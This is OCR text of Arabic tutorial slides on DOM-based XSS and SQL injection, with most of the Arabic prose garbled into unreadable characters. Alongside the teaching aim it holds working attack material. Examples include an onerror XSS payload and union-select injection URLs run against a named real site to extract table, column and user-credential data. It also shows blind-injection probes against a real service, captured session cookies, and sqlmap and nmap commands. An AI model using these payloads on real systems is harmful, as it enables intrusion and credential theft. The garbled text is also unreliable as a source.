File Edit View Higtoryl _B_ookmarkslIoolsl Help
™) http://localhost/page.html +
\g i http://localhost/page.html \fj f"f v X ’ ‘ 2y - Google p’ ‘ ﬁ - -

/page.html

OK

Transferring data from localhost...
x Direct Connection

O s A5 ket ) 5 s AW Jsall e S JaSius Y € S i dlasy 5 S3l
LAl J) gl dadiall oy
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(...ALSS) Dom-based XSS 3_ad Jaas as
dadiall ) dlu yal) Jasd parameters Al 43 ya A 5% Jlgae
location.search
i AL ams Ll il ) 5 Al 33 dadeall Judi Cadd el e Jlia o
https://site.com/page.html?name=ahmed
D (HUllS Al o Sie

File Edit View History Bookmarks Tools Help
9] Connecting...

‘ 6 | @ http://localhost/page.htmi?name=ahmed P Y7 Vv X ‘ " Google P\ $y A = -

?name=ahmed

Transferring data from localhost...
x Direct Connection
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(...ALS3) Dom-based XSS 3_ad Jaad cas

et o | 58S aadiad Ay SN a8 1Al g
File Edit View H|§tory1§ookmarks]IoolsTﬂelp J\ 2\3 \ v e ‘d‘.ﬁ .~‘ .
C Connecting... ‘)S-'\ e}SJ L.-.sA I & S Lsa

\(-/ @ http://localhost/page.html#Ahmed Aboul-Ela \L' v X ‘ {' Google P] $ A # - Le“)j\ ‘-ﬁ haShtag #
HashTag 43 & a 588 J) go o

location.hash

8lgr A B e dadiall Jurily a0 e

#Ahmed Aboul-Ela

Transferring data from localhost...
X Direct Connection
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(...ALS3) Dom-based XSS 3_ad Jaad cas

dadall Ciald .Lu\)]\ Al 2 Ahmed Aboul-Ela # a8l o dadiall Ly C._\s.\.bss Liad o

J sl J) dlL.u u‘j\ sources J s YN ) Lid u‘)f\ Lyl ) e Jadd o gad) 12a J\.Q_LL\
dadiall Z A S sources 3. e ) c_\.Lu....u il

Sinks Jls> o Lo e
Ce Al JOA (e Al pall daadl) AUS 5 jlela) e A pasall o U S WS dabiy sinks J) o

<saipt> daa il Glal 8 print A1 kbl sources J) s
document.write(*hello world”) L@-AM )SJ-’ e)g‘ 8 g g :\-‘M g_u_d sinks | d\jq o
</script> doucment.writeln s document.write 4lla e

HTML 2S Jala RM‘ Aol 3 ydlia a 5218 daa yll L_\\.:d‘; print Allal A8l M\Ag_é, .
GG HTML a8 e ssintdasa dly e Jla e



(...ALS3) Dom-based XSS 3_ad Jaad cas

5y seall 3 LS Ll daidl) ) oS o

File Edit View History Bookmarks Tools Help

__ http://localhost/page.htm
.. (' @ http://localhost/page.html NSy o " Google P | L
N .

hello world

Direct Connection
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(...ALS3) Dom-based XSS 3_ad Jaad cas

anyElement.innerHTML 412 o
dadall 2 (aeTag Jalu 2 S A4S o) 36 yay eJﬁﬁ'alaLhyg A)all o2a o

<body> </body> (s sise 43 J4 a 485 a5 document.body.innerHTML 2L« o
JalsILy

JalS Jlasin) Jaxy o sy <35 document.body.innerHTML = ‘ahmed’ dazy Cadd 13} 5
Ahmed 48l 48 LS shody U 5 sinl

Sl Faiiall 3 @l e Jia o

<html>
<body>

Just a text in body tag
<script>

document.body.innerHTML = ‘www.security4arabs.com’,



(...ALS3) Dom-based XSS 3_ad Jaad cas

‘_g‘ay\ dadiall g gina pat JavaScript | A i dasall Juadd dic o
www.security4arabs.com 4alSIL Just a text in body tag 4@ o siSall 5

Mozilla Firefox
File Edit View History Bookmarks Tocols Help

{__! http://localhost/page.html
(- @ http://localhost/page.html NERLY o

www.security4arabs.com

Direct Connection
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(...ALS3) Dom-based XSS 3_ad Jaad cas

html sinks J)s2 aal () U8 523 Y1 just a text in body tag dleall jedai ol Jaadli LS o
damdu}u\@huusﬂ\ Sources d\jdé\mﬁjw\uﬁ S AU c.\.L.\....u" it | "
2050 Ova o daedl

338 JOA e dom based xss u\ﬁujhms@jo)n‘j\ jkﬂ\é\d)k.:‘u‘j\ .
| gall

hhw‘eﬁjdshMeM\dM}um Gaad XSS o) Gbad) (AL SIS o
w\d;\doyuuﬁjdadd\

oS L8y JAaS dadiall byl (je o e Be) js.su\u&ul\u.qu.&bsjuu‘i\uujo
dasall Jaly javascript JAUA?)«S AUy & 903 () (S

u.mSuJu\ ¢JAJ‘¢;"'L5}XSS u\ﬂu\h\qeﬁ.\u_d\ﬂddbmj\ @J.L:h.\ﬂ(gs;.uuy\ 13) o
Javascript JJA (se Jadd XSS 5 _ad My o 585 () (S



(...ALS3) Dom-based XSS 3_ad Jaad cas

S P 5 Sl dsdiall 2 S )5 yalie Jaini Lgen 5 g kil QSN (e oy gl 2 pl (e

| Jaii 13
<html>
<body>
<script>

document.body.innerHTML = location.hash;
</script>

</body>
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(...ALS3) Dom-based XSS 3_ad Jaad cas

Jrii 13la agh Sy dadiall 3 <1 Ll Jagé oY) o
e A Sb s # 76 i s s location.hash 4L o 58 dadiall Aol o
<body> </body> Jaly daiall Ll

SSISH 12 1A 5l # amy 3IS (o) L) Qs i 5 el DA (e OY) dadiall s @

@ Vi i I = s

File Edit View History Bookmarks Tools Help
! || http://localhost/page html#Test ek

& @ nhttp://localhost/page. html#Test

N\ B £ G |B-Gogle Pl ¥ H #* ~
#Test

x Direct Connection
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(...ALS3) Dom-based XSS 3_ad Jaad cas

daill yai G guTest 4alS yud die 5ol LS hash tag -l dcliday dadiall Cuald 28 Joas o
A

Sjavascript ) html 25U 4 sscaa test 4elS Lla ) 130 Gass 13l oY) (o

: SIS XSS Payload Asdall Ju ) ogun Jia o

dagill g yligea e

<img src=x onerror=alert(1337)>

File Edit View History Bookmarks Tools Help
(_ http://localhost/pag...rror=alert(1337)%3E | +

& @ nttp://localhost/page. htmlETest<img src=x onerror=alert(1337)> NEBAY 77 v X ‘ " Google p\ $y A &~

Transferring data from localhost...
x Direct Connection
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(...ALS3) Dom-based XSS 3_ad Jaad cas

Jalert JJS L. :...ejjcj*.éﬁxss B‘)ﬁ \:\_'\Jj - . .~‘ O;y\ ? L:;\JALA - l. y dﬁ o
Dom-Based Xss <&l i Jae 3 S8 Ll sxaia g Jasy JUia Jadd IS 128 1337

O] bl sall (po S 830 5m sa (0 sS3 8 )l 338 Jla o el Ja V) sl Al 28 e

Jie dgallall a8l sall 581 8 < jeda Dom Based Xss <l i ani aakally 4N
Sl aa e 5 google , microsoft , yahoo , Adobe

3 0 A Leie alil g aihy LgLIESL Cad A1 ol jadll (gaa) e Jla 138 o
Redhat

redhat.com & sl cabbual) cLaY Lo ) Jonaill dniia 8 CuilS 3 il 5 o



(...ALS3) Dom-based XSS 3_ad Jaad cas

The page at https:;//www.redhat.com says.

JSESSIONID=AKPd-phvabuzgKzhyy2KAw** 40748952,

DCID=origin-www-a; rh_omni_tc=701 60000000H4AjAAK;
s_vnum=1358309616708%26vn%3D1; s_ria=flash%2011%
TCsilverlight%20not%20detected;
rh_elqCustomerGUID=99a6¢d66-7763-482a-
a3c2-9f8613afadd0; s_cc=true; s_nr=1355721864819;
s_invisit=true; s_sq=%5B%5BB%5D %5D; s_vi=[CS]v1|
28674DF9051D31CA-400001 46C0065AE1[CE]
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(...ALS3) Dom-based XSS 3_ad Jaad cas

5 oand CL\AJL@JYM@-MMML&Q <*» Dom-Based Xss Gyl Caliis) o
Javascript 2sS) (e I aadid YY) &8l sall cale) g Javascript 3l sS) 8 (G
jdjﬂdwe‘jﬂdu‘&_\mj‘L)AC.\AAJM})LMY\UAQJY‘&‘L@-&J\}SMJ@M
ngmd&uud\jf}!\ 38 jasd

RV ngﬁ\j‘)@_u\uqut_\\‘)ﬂuj\o&@u@ﬂ\és&@u\jd\dm C*"‘USJ.
Caa’ie (e b lae A o\JY\j o dailae Gl W1 g Dominitor 312 (? u\jJY\

sinks LS| 4Say 5 Gladiall & Dom ) il aokaiey Jaxa firefox ¢
il A (g daiiall 3545 3 aasources s

Dom 3_x5 L) 31aY) e yae g il (oS 4 xia gy 2l Ul guaal) oSl g o
Google Plus Button (s* Based Xss




(...ALS3) Dom-based XSS 3_ad Jaad cas

https://www.youtube.com/watch?v=SmgnMVZ4gsM&t=96s ¢
https://www.youtube.com/watch?v=fh21ly5LNkg e
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XSS 3 323 ) yual

daa e el () 655 anleall Ldlan) 25 Al SRl JBadul Je XSS 3 jad alad e
8 gall (& Slipadd Jail 48 yu e aalgall (Saly Sus html jilavasc[ipt Al
CSahy B ) 9 e dadia S Carghuall 28 all 4gilin o jal dadia ) &l a8 ol Cargiull
S i Gliae p Jreat] Cpreadiidl Jygad gl Gaeadiiveal) cilibia 48 ju L DA
408 5l dpuand Gl



XSS 328 (e dglaall
@M\jeﬁ&u&ﬂeﬁbﬂj‘wu{)w“

NoScript 48l e\dil.u\ Loyl Ca..a.\.d\ (e Hlaal Al PRENT O eASSM\ e uY e
Jsene il (e 4@l byl g 1) e Jsaall axe

Il Q.Ae;\.@_,d\ uS.uu_"d\ iAW) (je A g 8D Ania (e 25U GAJMMLAQ LY e
AR 0 o yildy o g3y 9 XSS oy






A Jaadll
SQLI JV 3 a5

—al ‘gl
38l adla daal /a0
il Jgatl) g el glaall el (5 jLikind
Ahmed.Hashem.EIFiky@outlook.com
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SQLI 3,35 (A L e
SQLI 35 Jaxi oS o
SQLI 3 5 g sl o

5 il ) pal e

3 Al (pe dolaaldl o



SQLI 3 5 (o L

e)\.u.ua\ L,,Jr_ L eeie JW) Js uﬁ Ehaat Gy yzd 29 Sql injection Gl 2l e

o o JOriuy daiada Aladlalin) 42a 4 (u (= mysql Gl ac | g8 42l query

J Gl 3ae B e ila glall ‘)AAM\ A g @\.@_\J\ sl Je Juanil <l jz8ll 6
(S8 e 5 dalS

asnd Al 8 5 i Y1 &l e o Jaad g8 ) gl ST G e sl injection o

gﬂ\ GUlll) 3acld e bl D ST IPRN ol Buhaiy 5gl 258 (s 4 Al

A o) J8 i) Al e dlea aae 8 Uad o e 3 a5 ¢ adsall Lepde ading
3l oda Jlaxinls gquthentication 33U ) slad @liSay LS clill) sacldl 5 4y pai



SQLI 3_ad Jaxd aS

Gk e a8 2 100 e J8) ey lainall IS el o i (o)) 3y 5 JUa d-ulréj .
- o)

http://www.victim.com/products.php?val=100
Database s clilull saclsy Juaiy) o

»n )«

Sconn = mysgl_connect(“localhost”,“username”,“password”); ¢

D e Ol a5 Ledlas) a3 ) e leall Byl 0eSQL el 00555

Squery = “SELECT * FROM Products WHERE Price < ‘S _GET[“val”] ”. »
“ORDER BY ProductDescription”; e



(. 4L5) SQUI 5 s Jas S

» lilall 3aclay query L4l

Sresult = mysql_query(Squery);
record set <all JS Jala ) Al dleay HLaall
while(Srow = mysqgl_fetch_array(Sresult,MYSQL_ASSOC))
{
D atially i) el
echo “Description : {Srow[‘ProductDescription’]} <br>".
“Product ID : {Srow[‘ProductID’]} <br>".
“Price : {Srow[‘Price’]} <br><br>";

}



Leal b L ) php sl e Gasb e 485K () gl 2580 JSG 1 g @

5

canythin€ oF |
L& passwW ord=an) v
aoct
S
v h

o
5«*‘ Internet
& i N
§

P85

anything or ‘x’#~’x

etrieve son

Informatio
User ID : soottl 23
Pasaword : 123@s.
First Name : Scott
Laat Name : Rayy
Gender : M
Pttt

SQL Injection

Attacker Database server Lc]
( MySql, Oracle,
- . IBM, DB2,....)

e D
-
\Vcb server

Firewall [ ]

S
Application
server

SELECT *
FROM Products

WHERE Price <100.00’
ORDER BY ProductDescription;
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SQLI 3% & 5

-_ i‘}"‘s)’:‘ﬂhﬁj'
Sql Injection error based sql injection °
[ blind sqgl injection

Error Based Blind Based

\
| |

Boolean Based Time Based
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(..4LS5) SQLI B a3 g )i

error based sql injection

d;\)d\ \PJ.A\JJSanJec’UQn oﬂumcayésujmd@ejm
e el g Ala je S agd

& adle 3 adl Jolada) 4 ety o s8in (Al Loyl Ll o
http://www.woodrock.ca/sections/default.php?ld=13
S oaal asa g e SIS 1 Ala ) @

MJMUAUSA.\JL,’_\;LJ\)H MLA\@AJLUQQA}JMoJA_J\APJUAAS\Jbejm °
dujjj@i:wﬁucu)&aﬂ\dﬁjjcYe\d\;.l\(u.\uoj.\heﬁcﬂjd\dﬁ

. dglia
AG an error im 1./( SOL SYRIQX, L'xtL C 11e Mai LIL 1’1‘.{1 corres })C 148 .'“J lﬁ 5(.-).(_ server d

-----

"o Y. »

| t/ Mt swmn |

ySIon jor tC C i L NIAax 1[0 use near Qi Lne |
S
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(.45 SQLI B3 g ) 5

sql injection Sﬁaﬁjﬁjﬁj&mﬁiﬁﬁf\*ﬂ\ h\ﬂ'y}\@&hmu\mo

j &)

\k ’o:\%\
*# Home News Events-Tours Contact Pictures Videos Anisul jgpAbout Us ol

Coulda't opent wwwwoodrockimusse db 9924491 hostedresource comt You have an eroe wn your SQL syemax, check the mannal that conresponds 1o
yorz MySQL wezver vezvion for the rght swegax %o use neag " at e |
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(..4LS5) SQLI B a3 g )i

columns - 22 pasd - 2 Al yall o

B (i ganll 8y st (A paiud g 3sexl) B ) sorder by A8l o fin dls jall 03a (S
D A iy dadl Jl g ¢ Baac Y dae 23 A8, Hlall 3y ¢ Uadll

nttp://www.woodroc

nttp://www.woodroc

nttp://www.woodroc

k.ca/sections/default.
k.ca/sections/default.

k.ca/sections/default.

p?ld=13 order by 1-- (sUadl () s3)

p?ld=13 order by 2-- (sUadl () s)
p?ld=13 order by 3-- (sUadl () s)

http://www.woodrock.ca/sections/default.php?ld=13 order by 4-- (Laa)
Cdaee) 3 saae Y dae o Al alds szl



voq 0ok

Music Canada

# Home News Events-Tours Contact Pictures  Videos | Artists

Couldn't open wwwwoodrockumusse db 93424491 Rostadresource oot Usknonn colusn 4w ‘order chine
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(...AL) SQUI 35 g 53
bl saee V) aaaie 3 s i e
S 55 il Lladll columns saee V) aaat g Caagll () S Al yall 020 8
381 Jartiiins (ya jall 13 5 ULl 3ac B g0 Gl jleda) g 2 ) jAda) 8 Lelaativig
L SUIS Loyl )l sl [d el daadl - ey 48Laly 5 Union

http://www.woodrock.ca/sections/default.php?ld=-13 union all select 1,2,3-- °

\
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e sbeall =)0 Legllaninn wie G Laa 53 5 2 Gabeaa (3 gac dagill o
~ilaslaall mns ) Al 4 Ala ) o

sacldjlaa) & leaal 52 2ganll o o jleda) o AUl cula slaall o) Aiuly & st o
- bl

use r() eail.ml\ J\.@.La\

http://www.woodrock.ca/sections/default.php?ld=-13 union all select
1,user(),3--
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version() <llall 3acld jlaa)

http://www.woodrock.ca/sections/default.php?ld=-13 union all select
1,version(),3—

WA
* Home News Events-Tours Contact Pictures Videos Anistsl

o .

ety
About Us S50y

5.0.96-lcg Upcoming Shows
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database() <Ulall sacld au

http://www.woodrock.ca/sections/default.php?ld=-13 union all select
1,database(),3—

R
* Home News Events-Tours Contact Pictures Videos Artistsl /

T ckipiae | S
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5 oy Jil claay) JS o Cua ¢ 5 g il sacld laal o Jaall s (e Lzaka e
an) e e cpaile (g sSiw JUlL g information_schema (e (s a3 Y
. Jshasdl

tables- dj\d}j\ ;:\.A.uj C‘);.u.u\- 5 MAJA]\ °

wa&\dmgﬂ\ubﬁjeAY\ucu;J\jdj\M\ &jmc\)mhejmuwo
+ daad Sl adlily

http://www.woodrock.ca/sections/default.php?ld=-13 union all select
1,group_concat(table_name),3 from information_schema.tables where
table _schema=database()--
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poll_user . dsa HLidl asdin Jglaadl ) jA500 aLdl) 2ay

sl saee) z) At 6 Ala i

poll_user SidHex Axua ) 4kt asi o cang Jsaadl daaiy Liad (f ey o
0x706f6c6c5f75736572 ruaru

http://www.woodrock.ca/sections/default.php?ld=-13 union all select
1,eroup_concat(column_name),3 from information_schema.columns
where table_name=0x706f6c6c5f75736572--



2

aic Canada

Wood/(ock

user_id, username, userpass,session, last_visit

>

Ahmed Hashem El Fiky
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e shaall 1 At 7 Al )

0x3a < user s assuldl sld O Jeaills astin g e slaall 21 a0y G il e

http://www.woodrock.ca/sections/default.php?ld=-13 union all select
1,concat(user_id,0x3a,username,0x3a,userpass),3 from poll_user--

—
L

Ahmed Hashem El Fiky
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(.. 4LS3) SQLI 3 sl g ) s

4y 5iSall 5 il 12 S A agt Gew Sy White Box 42k 4 ol | Lius @
Mysql 4 Ao Jie YL Php 4al,

<?php
include( );
$name = $ POST[ 1;

mysql query(
) or die(mysql error());

7>
<html>
<form name= method= action= >
Name : <input type= name= >
<input type= value= >
</form>
</html> Ahmed Hashem El Fiky
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bl e 43 5 90 Jealy 531 5 config.php <l 750l Jeay < Sl o

d.m.uu_d\j POST &yu.ad;&d\c\.mdh name il uJJ:u.L;N.\5€SJ).LuJ\ .
name Jaall,

J saall aen s J gl L..gﬂ\j mysql query eﬂ.z_u\ Jee a7 ?§J b e
el e Lidlas s name Jsaadl A 02 g 5l

ilis oS POST 4w a5 form zisedll Cilaslaas Ol sic LI 14 o8 Hlaull e
index.php —alas Liallaa g SULl Jla HY



(..4LS5) SQLI B a3 g )i

ang alg il ol el o aalds L@J}hmﬁﬂﬂ)o)ﬂ\dmmcﬂu‘j\@u.
uSmuAe)\JuuY\uJ\J.u\.’_J\jf\jY\@A;dhah&uud]ﬂ@)d\dﬁwﬁu
ezl AL I sam sgl injection 3a8 4 c—mhﬁ—*ﬁﬂ S35 AS (s
Badll LadiC) g 2ol U pud (oS5 1 Gkl el @ aala 8 63 ga gall Gila glall

\.@4).\53?&9uAds;_\J\jL_\)AAAMa\ﬁdbwdwd&wﬂbodﬁﬂ\

U’J;S)L.\ UY\@M ,o)aul\ d)u_\.m\ MJ\AAPJUAJM‘ u\.uS.w\ uJ‘ @\J u‘)[\o
_:}SJ}\A\:::JA JMALJA("J}QM

¥ 1[4 127.0.0.1

Name : Submit !




(..4LS5) SQLI B a3 g )i

Sl e jag ol oy sl of Jaa Sl dad (o) JWaa) Jglail | Jass o 55 29 g JaaDli o
Saay b g Lo abaaBla &3 (g single quote (‘) 4aSle Jaa) Y J sl jlea |

- '5)}54]\ o DA e
' ) o
NS ;.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

nm

at line 1

0585 13¢5 Uadll s jedal e 128 5 cililad) ae ) 8 8 Ghoas Uad @lllia o V) Ll 5 1 Slies
Sl 853 5a 50 Sl injection 3aS 2 e (pe LKL 8
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Lo Galaily Sqlmap el JSA (e il slaall ) i) 5 58 JSlaiuy oY) AUl
-1 doatilly da 8} g s 3 ) pall (A

oot@askar-pentest: /opt/sqlmap# ./sqlmap.py -u http://127.0.0.1/1ab/index.php --forms --dbsl

IR (e cargll Laas o5 (4e sqimap.py /. ¥ DA (e GAUJ-‘M Jaiiiy Liad
andiall o0 sa sall Jgaall e GLESILY forms Jbadl Loas &3 (g u - aY!
Uad Ggan Jla &t bl ae) 8 ~) aiuYdbs  eY! |yl
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Ho you want to exploit this SQL injection? [Y/n] vy

< <
eb server operating system: Linux Ubuntu 12.04 (Precise Pangolin) " ! - "o . . ~\v
- d 4;”3 [
eb application technology: Apache 2.2.22, PHP 5.4.6 ,}Aﬁg‘ e s LS )43 Ljﬁg‘ *)

pback-end DBMS: MySQL 5.0

hvailable databases [10]:
*]1 information_schema
*] isec

*] isecurilty

*1 mysql

*] performance_schema
*]1 phpmyadmin

*] security

*] sqli

*] test

*] wordpress

Ahmed Hashem El Fiky
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(el o5 05) el A

php , Jie sl cladll e S0 Cangius <l jaill ol off Laayl JSAL Hoaall e g e
java, asp, aspx.



(...4LS3) SQLI 3%l &) 5

hootsuite & s« 2 blind sql injection 535 ¢
Blind SQL inejction iz 13 1 Y sl o

e.u\.a.\\jusﬂjuwujﬁy ﬂ\u‘ﬁ‘d&\o&@uﬁSQL uﬁat\y\w&yﬁo
adll DA el sl dhqum;_\jod;md\ el Y aA o daia Jea bl s2ed Ul g
BBV

28 Ladl Juw\us;ﬂc_\wﬁu)]\duhu)& Ladic t).d\ \JA em;mﬂ\

M\g\dmﬁug\ Lals

" “ wmw\j

|d L_u.u;\.@_.aﬁj.uujh\) @JL&“‘JL&L‘%‘L“;Y‘JHU“—‘L*Y%‘
Claa

M}_Lg\)l‘é.ul,\a_\dumo
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il s e

https://learn.hootsuite.com/view_profile_image.php?id=8807 °

| Lada eliac V) anl 3 ) sem & jels daiall AN day g o

s el JK A jadl i gladll Jany o siil i s Aadiall o3 b 3 ga el kil o
()

https://learn.hootsuite.com/view_profile_image.php?id=8807'1

i Y SSAL @ has 6K (a4l e 5 5La) ol 1] Ll cliay dadiall o
Y oo Wlae o€ o) G e @l jladl dana juial ¢y 3 <l ¢ Uad



(..4LS5) SQLI B a3 g )i

https://learn.hootsuite.com/view_profile_image.php?id=8807 and
1=1

zanaa el s 1= Ladie laline gk jli5 e (a5 1=1 3 le Ll )l (8 Ciriag o
| Uas Q,S‘ (399 (e L.\)@_L dadiall SUA i) saclal 4ually

VAN EJ\_}C Camain g ladey o

https://learn.hootsuite.com/view_profile_image.php?id=8807 and
1=2

11 Ll eliay dadiall SV cilad Cilee ey Lhala 3 jle 89 2=1 5 jle Gy e
Blind SQL inejction 3_a% claas a8 sl () xS 1agn




(...MASS) SQLI 3_s abﬁ‘
paclal) (s @ SQLMAP « u.\m\ SlAl La\ < mjj\ Gy 8 AadlS 3 S uS‘
e Glias g 3aclall sl SQLMAP @ alddl ja) S SliAT o

root@kali: ~

File Edit View Search Terminal Help Wired connection 1

GET parameter ‘id' is vulnerable. Do you want to kup testing the uth(vs (if any
sqlmap identified the followlng injectic points with a total of 75 HITP(s)

tting down at 14: 44

#[]

B root@kali -




(...4kS3) SQLI 3% &) 5

CodeRed CTF (= SeeNoevil (s23 Boolean Based SQL injection — 3_45 & i

S5y JS4 Blind SQLI - 808 ainls B A8 AdS G sele psgdall G il o
=il SQLMAP. 3l aladiuly 181 sl 48] Lasy kil 8 gw Liadl s manual
OSaY) 38 A glaall 5 3 alall <l ga¥) aladiul e pUaiaall a8 Julailly o) 321 ¢ ) 3l

Ay Loyl bl dls ya & Lapad A aaalaall g A Ay g Al (5
agd g Ay 4y o3 (3 yha aladtuly dlile o3 jaladl &l saY¥) Lo Slannd ¥ (Al YA yan

darkflow@darkflow:~$ nmap -T5 -p- -Pn -n --max-retries 1 --open 192.168.8.102 L_iat.mad\ EJAGJ\} °J’—M dm
Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-61 21:26 EET T3 3:":!\ Sc &'\x !:1 ,‘j\ ‘\_\Lx:_\ \M °

Nmap scan report for 192.168.8.102
Host is up (0.00010s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE

80/tcp open http

2233/tcp open infocrypt

3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
darkflow@darkflow:~$

Ahmed Hashem El Fiky



(...4kS3) SQLI 3as g ) 53l
open A 8 ports 80,3306,2233 sy daadie

ow:~$ nmap -T4 -p80,2233,3306 -Pn -n -sV -A 192.168.8.102

Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-01 21:27 EET
Nmap scan report for 192.168.8.102
Host is up (0.00028s latency).

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.15 ((Cent0S))
| http-cookie-flags:

| /:

| PHPSESSID:

| httponly flag not set

| http-server-header: Apache/2.2.15 (CentOS)

| http-title: Banking - Login

2233/tcp open ssh OpenSSH 5.3 (protocol 2.0)

| ssh-hostkey:

| 1024 a0:6d:08:27:71:a8:b0:e7:2e:d2:be:6c:d7:d3:51:26 (DSA)
| 2048 a7:f0:6C:95:6€:05:50:04:32:55:bb:fe:2c:a2:02:0a (RSA)
3306/tcp open mysql MySQL (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds
darkflow@darkflow:~$ []

Ahmed Hashem El Fiky
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MYSQL 3306 sHTTP port 80 and SSH port 2233 25 glaadlie

login Jsad dadia 35a g Jaadi g HTTP J oS 55 m 1 Ladla o

e i st Wasd) ) Al y Laali gdmin/admin e 4S5 asl d\%a\ Ll gl 13) o
dan) 23ilan and llia o ALl 028

Ailide Und &l ) 3 ga g Jaalitest Al adiivue avl W gla 1305 admin.

admin test

LOGIN LOGIN

admin: please enter your correct password Wrong Username and Password

Ahmed Hashem El Fiky
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Llaiul Lali s true/false &éj e daxr SQL Adea g o) JBA Jglaine
et Y bl sacld Gl gise o) Cus Blind pllaas ela Ua g L cull Bk
& it dbade g (N1l Asdia e union select) ) & WS il S
alas Uls yl A & behavior or response (e W gl dsdiall 4laily) (el

False lax ) True
true: ‘or 1=1;# 4lea (aa Je Jlc o
false: ‘or 1=2;# dasy (aa Je Jlha o

Liad 23l Select username from users where username="" or 1=1;#.
Boolean based Ciww GlM Uadpria el o) Jlu b




(...akS3) SQLI 3l ¢ gl

comment GlxSSQL  JI Aad L aadiud # Aadle o Cua o
please enter your :Allu 25 51aadl ysername (& dapaall Jaall b o

correct password

Wrong username and 4ls ) 35 5 a3l ysername (4 Uaall Jaall oo

‘or1=1;#

LOGIN

"or 1=1;#: please enter your correct password

Ahmed Hashem El Fiky

password

‘or 1=2;#

LOGIN

Wrong Username and Password
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laie) GMEA) G Blind SQLI 3a 3 ilie cull dadia o) Zlitial (Say <l o
True/False Jex &Yl & dadiall

JSIASCIl code  pd)y yasil cysll Gadail A1) e Al gha dludis j pad ) LiSay @
DB-name or Table- ax) wasil JUall Juw e as) &t o) jall caaglh 8 s
tables & JoSll (5 sinall #) )adul Ja o) Database Jal & «a=e name

True Y sl axi Lgila) Al ALY 7 jh (e 3 )Sal1 m je I (g g gl JUEGI 40w

Z oA Al Gaplall o iy Cus Cila glrall 215300 LedMaiul (Sas a5 or False

True or False — ¥ o) axd o ali¥) e o)l 4 g8y 45



(.45 SQLI B3 g ) 5

- Is this Burj Al Arab2 No

- Is this Khalifa Tower? Yes

- Is number of floors more than 1002 Yes

- Is number of floors more than 2002 No

- Is number of floors more than 1502 Yes

- Is number of floors more than 1602 Yes

- Is number of floors more than 1622 Yes
Sec Guard

Ahmed Hashem El Fiky
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asnell lee 3 Lgia 53WY) (Say 1 SQL I el add o) (I L il o can g o
&850 A functions s3g galall (33 ill & ga Hl) 2SS4 g Blind SQLIE s 3 3yl
Mysql

Important SQL functions:

ASCII J) 28y w1l Ascii(char)

string JAla (e o s )W) Sybstring (String, location, num) e
string J) Jsk was3 Length(‘string’) *

string (= S| z2 Concat (stringl, string2,.....) *



(.45 SQLI B3 g ) 5

e ALY # i aadidn Allg s JS aldd) o KU s sla) Jeaadl g

App <us
ASCII Table

He Oct Char Hex 0Oct Char Dec Hex O0Oct Char Dec Hex Oct Char

0 o (o] 32 20 40 [space] 64 40 100 @ 96 60 140 |
1 1 1 33 21 41 ' 65 41 101 A 97 61 141 a
2 2 2 34 22 42 - 66 42 102 B 98 62 142 b
3 3 3 35 23 43 # 67 43 103 C 99 63 143 ¢
4 4 4 36 24 44 s 68 44 104 D 100 64 144 d
) 5 5 37 25 45 % 69 45 105 E 101 65 145 e
6 3 6 38 26 46 & 70 46 106 F 102 66 146 f
7 7 7 39 27 a7 ‘ 71 47 107 G 103 67 147 (o]
8 8 10 40 28 50 ( 72 48 110 H 104 68 150 h
9 9 11 41 29 51 ) 73 49 111 | 105 69 151 i
10 A 12 4?2 2A 52 * 74 4A 112 ) 106 6A 152 j
11 B 13 43 2B 53 + 75 4B 113 K 107 6B 153 kK
12 G 14 44 2C 54 76 4C 114 L 108 6C 154 I
13 D 15 45 2D 55 - 77 4D 115 ™ 109 6D 155 m
14 E 16 46 2E 56 . 78 4E 116 N 110 6E 156 n
15 F 17 47 2F 57 / 79 4F 117 (o] 111 6F 157 o
16 10 20 as 30 60 0 80 50 120 P 112 70 160 p
17 11 21 49 31 61 1 81 51 121 Q 113 71 161 q
18 12 22 50 32 62 2 82 52 122 R 114 72 162
19 13 23 51 33 63 3 83 53 123 S 115 73 163 s
20 14 24 52 34 64 4 84 54 124 T 116 74 164 t
21 15 25 53 35 65 5 85 55 125 U 117 75 165 u
22 16 26 54 36 66 6 86 56 126 Vv 118 76 166 v
23 17 27 55 37 67 7 87 57 127 W 119 77 167 w
24 18 30 56 38 70 8 88 58 130 X 120 78 170 x
25 19 31 57 39 71 9 89 59 131 i 121 79 171 y
26 1A 32 58 3A 72 : 90 5A 132 2 122 7A 172z
27 18 33 59 3B 73 91 SB 133 | 123 7B 173 {
28 1C 34 60 3C 74 < 92 5C 134\ 124 7C 174 |
29 1D 35 61 3D 75 = 93 SD 135 ) 125 7D 175  }
30 1E 36 62 3E 76 > 94 5E 136 - 126 7E 176  ~
31 1F 37 63 3F 77 ? 95 SF 137 127  7F 177

Ahmed Hashem El Fiky
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DB : (1 Cla gl &) ja%0) &l slad il
database name aul Jsh 2ol e

“or length(database())=3 — — False °
“or length(database())=4 — — False °

“or length(database())=5 — —TURE -

error LJ\ d)\éuﬂhe\E.mSQL d\é\lo:c_u\su\d\ AJA;AL\J\S.AML\SL»\LASJO

Uasll Al S8 True A uﬁ Cua ol 3y puall Gﬁ ijA s LS message
Jsh o it 1354 5 error message: Please enter your correct password

5 DB aul



(...akS3) SQLI 3l ¢ gl

‘or length(database()=5 - { or length(database())=4 -

password

password

LOGIN
_ LOGIN

" or length(database())=3 -- -: please enter your correct )
password Wrong Username and Password

Ahmed Hashem El Fiky
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LS il g culila) sae 8 and CELESTLL sl (Y LSl Aol 38y yhall e Joliyg o
| a5 o sl Joha o L e
48y yhay ald) Jsaadl 8 ASCH 26Ss 4t jlaa g J oY) o jall andy faxig e

LSl 135 ) a3 aal 1 o3 AL 5 SU o pall dlaall ) S5 A brqteforce.
ULl BaclE Al BaaT
97 6] '. ] 141 a

98 1100010 142 b JJY\ u);j\ o

‘or ascii(substring(database(),1,1))=97 — — #determine 1st char of DB
name — False

“or ascii(substring(database(),1,1))=98 — — #determine 1st char of DB
name — True




(..4LS5) SQLI B a3 g )i

bﬁubw\omuw\@uﬁj\uih%usjo
substring (8 2 <a_all a8 ga ety Sl Ll ) U Copall dleall pdh ) S5 e

